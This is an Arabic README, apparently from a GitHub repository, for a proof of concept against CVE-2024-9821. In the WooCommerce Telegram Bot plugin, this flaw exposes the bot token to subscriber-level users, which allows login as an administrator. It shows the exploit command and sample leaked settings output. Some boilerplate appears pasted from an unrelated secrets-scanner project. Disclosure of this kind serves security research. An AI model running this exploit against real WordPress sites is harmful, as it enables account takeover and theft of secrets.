randomrobbiebf/cve-2024-9821بوت تيليغرام لووكومرس <= 1.2.4 - كشف رمز بوت تيليغرام للمستخدمين المُوثَّقين (مشترك+) يؤدي إلى تجاوز المصادقة
بوت تلغرام لووكومرس <= 1.2.4 - كشف رمز بوت تلغرام للمستخدمين المصادقين (مشترك+) لتجاوز المصادقة
إضافة بوت تلغرام لووكومرس لووردبريس معرضة لكشف المعلومات الحساسة بسبب عدم وجود فحوصات تفويض مناسبة على إجراء AJAX 'stm_wpcfto_get_settings' في جميع الإصدارات حتى 1.2.4. هذا يتيح للمهاجمين المصادقين، بمستوى وصول المشتركين فما فوق، عرض رمز بوت تلغرام، وهو رمز سري يُستخدم للتحكم بالبوت، والذي يمكن استخدامه بعد ذلك لتسجيل الدخول كأي مستخدم موجود على الموقع، مثل مسؤول، إذا كانوا يعرفون اسم المستخدم، بفضل ميزة تسجيل الدخول عبر تلغرام.``` Type: plugin CVSS Score: 8.8 CVE: CVE-2024-9821
* Slug: [bot-for-telegram-on-woocommerce](https://wordpress.org/plugin/bot-for-telegram-on-woocommerce)
* رابط التحميل: [تنزيل bot-for-telegram-on-woocommerce الإصدار 1.2.4](https://downloads.wordpress.org/plugin/bot-for-telegram-on-woocommerce.zip)
POC
---```
python3 CVE-2024-9821.py -u http://kubernetes.docker.internal -un user -p user
ألا تجد حزمة التقنيات التي تستخدمها؟ نحن نعمل على تسهيل مساهمة المطورين وإضافة حزم تقنيات جديدة وأنماط كشف الأسرار. لا تتردد في فتح PR ومشاركة أفكارك!
إذا وجدت هذه الأداة مفيدة، فالرجاء منحها نجمة ⭐. فهذا يساعد الآخرين على اكتشاف المشروع ويحفزنا على تحسينه.
هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
بُني بـ ❤️ من أجل مجتمع الأمن السيبراني.``` Vulnerability check: http://kubernetes.docker.internal Logged in successfully. { 'bot_settings': { 'fields': { 'bftow_bot_api': { 'label': 'Telegram ' 'Bot Token', 'type': 'text', 'value': '8164783304:Axxxxxxxxxxxxxxxxxxxxxxxxxx'}, 'bftow_bot_name': { 'description': 'Set ' 'if ' 'you ' 'want ' 'user ' 'to ' 'get ' 'back ' 'to ' 'Telegram ' 'after ' 'successful ' 'checkout. ' '(Without ' '"@")', 'label': 'Telegram ' 'Bot Name', 'type': 'text', 'value': 'Superbotman'}, 'bftow_buttons': { 'description': 'Save ' 'BOT ' 'Token ' 'first', 'label': 'Activate ' 'API URL', 'type': 'bftow_webhook_activation', 'value': ''}, 'bftow_google_maps_api_key': { 'description': '<a ' 'href="https://developers.google.com/maps/documentation/geocoding/overview">Provide ' 'Google ' 'Maps ' 'API ' 'key ' 'with ' 'enabled ' 'geocoding ' 'API ' 'and ' 'configured ' 'billing ' 'account. ' 'If ' 'you ' 'leave ' 'this ' 'field ' 'empty, ' 'the ' 'location ' 'will ' 'be ' 'taken ' 'via ' 'openstreetmap', 'label': 'Google ' 'Maps ' 'API ' 'key', 'pro': True, 'type': 'text', 'value': ''}, 'bftow_proxy_server': { 'label': 'Proxy '